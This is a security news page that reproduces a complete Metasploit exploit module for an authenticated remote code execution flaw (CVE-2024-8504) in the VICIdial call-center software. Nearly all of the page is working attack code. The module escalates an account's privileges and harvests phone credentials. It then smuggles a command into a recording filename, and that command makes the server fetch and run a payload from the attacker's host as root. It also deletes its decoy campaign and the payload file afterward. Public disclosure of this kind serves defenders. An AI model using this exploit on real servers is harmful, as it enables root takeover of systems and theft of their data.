Security
Headlines
HeadlinesLatestCVEs

Headline

VICIdial Authenticated Remote Code Execution

An attacker with authenticated access to VICIdial as an “agent” can execute arbitrary shell commands as the “root” user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective.

Packet Storm
#vulnerability#ios#linux#js#git#php#rce#xpath#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  prepend Msf::Exploit::Remote::AutoCheck  Rank = ExcellentRanking  def initialize(info = {})    super(      update_info(        info,        'Name' => 'VICIdial Authenticated Remote Code Execution',        'Description' => %q{          An attacker with authenticated access to VICIdial as an "agent"          can execute arbitrary shell commands as the "root" user. This          attack can be chained with CVE-2024-8503 to execute arbitrary          shell commands starting from an unauthenticated perspective.        },        'Author' => [          'Valentin Lobstein',              # Metasploit Module          'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2024-8504'],          ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']        ],        'DisclosureDate' => '2024-09-10',        'Platform' => %w[unix linux],        'Arch' => %w[ARCH_CMD],        'Targets' => [          [            'Unix/Linux Command Shell', {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD,              'Privileged' => true              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'WfsDelay' => 300,          'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [IOC_IN_LOGS],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options([      OptString.new('USERNAME', [true, 'Administrator username']),      OptString.new('PASSWORD', [true, 'Administrator password']),    ])  end  def check    res = send_request_cgi({      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),      'method' => 'GET'    })    return CheckCode::Unknown unless res&.code == 200    html_doc = res.get_html_document    version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||                   res.body.split("\n").find { |line| line.include?('VERSION:') }    return CheckCode::Unknown unless version_info    extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')    return CheckCode::Unknown if extracted_version.empty?    print_status("VICIdial version: #{extracted_version}")    vulnerable_version = Rex::Version.new('2.14-917a')    current_version = Rex::Version.new(extracted_version)    return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe  end  def exploit    # Start the HTTP server to handle incoming requests from the payload    start_service    print_status('Server started.')    # Add the resource to serve the payload and prepare the listener    primer    # Authenticate as an administrator using provided credentials    target_uri, request_headers = authenticate_admin    # Elevate user privileges by updating user settings    update_user_settings(target_uri, request_headers)    # Update the system settings for further exploitation    update_system_settings(target_uri, request_headers)    # Create a dummy campaign to act as a decoy during the attack    fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)    # Modify the settings of the newly created dummy campaign    update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)    # Create a dummy list associated with the dummy campaign    create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)    # Retrieve phone credentials (extension and password) to authenticate as an agent    phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)    # Authenticate to the agent portal using the retrieved phone credentials and campaign ID    session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)    # Insert a malicious recording that contains the payload, using the agent session    insert_malicious_recording(request_headers, session_name, session_id, recording_extension)    # Clean up by deleting the campaign created earlier    delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)    # Start the cron job to execute the malicious payload    wait_for_cron_job  end  def primer    add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })    print_status('Payload is ready at /')  end  def on_request_uri_payload(cli, request)    bash_command = <<-BASH  #!/bin/bash  rm -- $(readlink /proc/$$/fd/255)  cd /var/spool/asterisk/monitor/  #{payload.encoded}  find . -maxdepth 1 -type f -delete    BASH    handle_request(cli, request, bash_command)  end  def handle_request(cli, request, response_payload)    print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")    case request.uri    when '/'      print_status("Sending response to #{cli.peerhost} for /")      send_response(cli, response_payload)    else      print_error("Request for unknown resource: #{request.uri}")      send_not_found(cli)    end  end  def delete_dummy_campaign(target_uri, request_headers, campaign_id)    print_status("Deleting dummy campaign with ID: #{campaign_id}")    res = send_request_cgi({      'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),      'method' => 'GET',      'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },      'headers' => request_headers    })    res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")  end  def authenticate_admin    username = datastore['USERNAME']    password = datastore['PASSWORD']    credentials = "#{username}:#{password}"    credentials_base64 = Rex::Text.encode_base64(credentials)    auth_header = "Basic #{credentials_base64}"    target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')    request_params = { 'ADD' => '3', 'user' => username }    request_headers = { 'Authorization' => auth_header }    res = send_request_cgi(      'uri' => target_uri,      'method' => 'GET',      'vars_get' => request_params,      'headers' => request_headers,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200    print_good("Authenticated successfully as user '#{username}'")    [target_uri, request_headers]  end  def update_user_settings(target_uri, request_headers)    faker = Faker::Internet    user_settings_body = {      'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',      'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,      'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,      'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',      'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',      'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',      'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',      'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',      'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',      'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',      'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',      'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',      'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',      'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',      'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',      'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',      'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',      'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',      'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',      'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',      'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',      'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',      'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',      'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',      'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',      'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',      'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',      'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',      'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',      'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',      'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',      'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',      'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',      'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',      'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',      'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',      'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',      'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',      'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',      'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',      'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',      'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',      'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',      'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => user_settings_body,      'keep_cookies' => true    )    print_good('Updated user settings to increase privileges')  end  def update_system_settings(target_uri, request_headers)    res = send_request_cgi(      'uri' => target_uri,      'method' => 'GET',      'headers' => request_headers,      'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res    system_settings_body = {}    res.get_html_document.css('input').each do |input_tag|      system_settings_body[input_tag['name']] = input_tag['value']    end    res.get_html_document.css('select').each do |select_tag|      selected_tag = select_tag.at_css('option[selected]')      next unless selected_tag      system_settings_body[select_tag['name']] = selected_tag.text    end    system_settings_body['outbound_autodial_active'] = '0'    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => system_settings_body,      'keep_cookies' => true    )    print_good('Updated system settings')  end  def create_dummy_campaign(target_uri, request_headers)    fake_company_name = Faker::Company.name    fake_campaign_id = Faker::Number.number(digits: 6).to_i    fake_list_id = fake_campaign_id + 1    fake_list_name = "#{fake_company_name} List"    campaign_settings_body = {      'ADD' => '21',      'campaign_id' => fake_campaign_id,      'campaign_name' => fake_company_name,      'user_group' => '---ALL---',      'active' => 'Y',      'allow_closers' => 'Y',      'hopper_level' => '1',      'next_agent_call' => 'random',      'local_call_time' => '12am-12am',      'get_call_launch' => 'NONE',      'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => campaign_settings_body,      'keep_cookies' => true    )    print_good("Created dummy campaign '#{fake_company_name}'")    [fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]  end  def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)    update_campaign_body = {      'ADD' => '41',      'campaign_id' => fake_campaign_id,      'old_campaign_allow_inbound' => 'Y',      'campaign_name' => fake_company_name,      'active' => 'Y',      'lead_order' => 'DOWN',      'lead_filter_id' => 'NONE',      'no_hopper_leads_logins' => 'Y',      'hopper_level' => '1',      'reset_hopper' => 'N',      'dial_method' => 'RATIO',      'auto_dial_level' => '1',      'SUBMIT' => 'SUBMIT',      'form_end' => 'END'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => update_campaign_body,      'keep_cookies' => true    )    print_good('Updated dummy campaign settings')  end  def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)    list_settings_body = {      'ADD' => '211',      'list_id' => fake_list_id,      'list_name' => fake_list_name,      'campaign_id' => fake_campaign_id,      'active' => 'Y',      'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => list_settings_body,      'keep_cookies' => true    )    print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")  end  def fetch_phone_credentials(target_uri, request_headers)    res = send_request_cgi(      'uri' => target_uri,      'method' => 'GET',      'headers' => request_headers,      'vars_get' => { 'ADD' => '10000000000' },      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res    phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')    fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),      'method' => 'GET',      'headers' => request_headers,      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res    phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')    phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')    recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')    if [phone_extension, phone_password, recording_extension].all?      print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")    else      fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')    end    [phone_extension, phone_password, recording_extension]  end  def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)    vdc_db_query_body = {      'user' => datastore['USERNAME'],      'pass' => datastore['PASSWORD'],      'ACTION' => 'LogiNCamPaigns',      'format' => 'html'    }    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),      'method' => 'POST',      'vars_post' => vdc_db_query_body,      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res    doc = res.get_html_document    mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')    mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')    if mgr_login_name && mgr_pass_name      print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")    else      begin        today_date = Time.now.strftime('%Y%m%d')        mgr_login_name = "MGR_login#{today_date}"        mgr_pass_name = "MGR_pass#{today_date}"        print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")      end    end    manager_login_body = {      'DB' => '0',      'JS_browser_height' => '1313',      'JS_browser_width' => '2560',      'phone_login' => phone_extension,      'phone_pass' => phone_password,      'VD_login' => datastore['USERNAME'],      'VD_pass' => datastore['PASSWORD'],      'MGR_override' => '1',      'relogin' => 'YES',      mgr_login_name => datastore['USERNAME'],      mgr_pass_name => datastore['PASSWORD'],      'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => manager_login_body,      'keep_cookies' => true    )    print_good('Entered "manager" credentials to override shift enforcement')    agent_login_body = {      'DB' => '0',      'JS_browser_height' => '1313',      'JS_browser_width' => '2560',      'phone_login' => phone_extension,      'phone_pass' => phone_password,      'VD_login' => datastore['USERNAME'],      'VD_pass' => datastore['PASSWORD'],      'VD_campaign' => fake_campaign_id    }    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => agent_login_body    )    print_good('Authenticated as agent using phone credentials')    session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)    session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)    if session_name_match && session_id_match      session_name = session_name_match[1]      session_id = session_id_match[1]      print_good("Session Name: #{session_name}, Session ID: #{session_id}")    else      fail_with(Failure::NotFound, 'Failed to retrieve session information')    end    [session_name, session_id]  end  def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)    uri = get_uri.gsub(%r{^https?://}, '').chomp('/')    random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"    malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"    print_status("Generated malicious command: #{malicious_filename}")    record1_body = {      'server_ip' => datastore['RHOSTS'],      'session_name' => session_name,      'user' => datastore['USERNAME'],      'pass' => datastore['PASSWORD'],      'ACTION' => 'MonitorConf',      'format' => 'text',      'channel' => "Local/#{recording_extension}@default",      'filename' => malicious_filename,      'exten' => recording_extension,      'ext_context' => 'default',      'ext_priority' => '1',      'FROMvdc' => 'YES',      'FROMapi' => ''    }    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => record1_body,      'keep_cookies' => true    )    recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)    if recording_id_match      recording_id = recording_id_match[1]      print_status(res.body)    else      fail_with(Failure::Unknown, 'Failed to get recording ID')    end    record2_body = {      'server_ip' => datastore['RHOSTS'],      'session_name' => session_name,      'user' => datastore['USERNAME'],      'pass' => datastore['PASSWORD'],      'ACTION' => 'StopMonitorConf',      'format' => 'text',      'channel' => "Local/#{recording_extension}@default",      'filename' => "ID:#{recording_id}",      'exten' => session_id,      'ext_context' => 'default',      'ext_priority' => '1',      'FROMvdc' => 'YES',      'FROMapi' => ''    }    send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => record2_body,      'keep_cookies' => true    )    print_good('Stopped malicious recording to prevent file size from growing')  end  def wait_for_cron_job    print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")    service.wait  endend

Related news

VICIdial 2.14-917a Remote Code Execution

An attacker with authenticated access to VICIdial version 2.14-917a as an agent can execute arbitrary shell commands as the root user. This attack can be chained with CVE-2024-8503 to execute arbitrary shell commands starting from an unauthenticated perspective.

Packet Storm: Latest News

Ivanti EPM Agent Portal Command Execution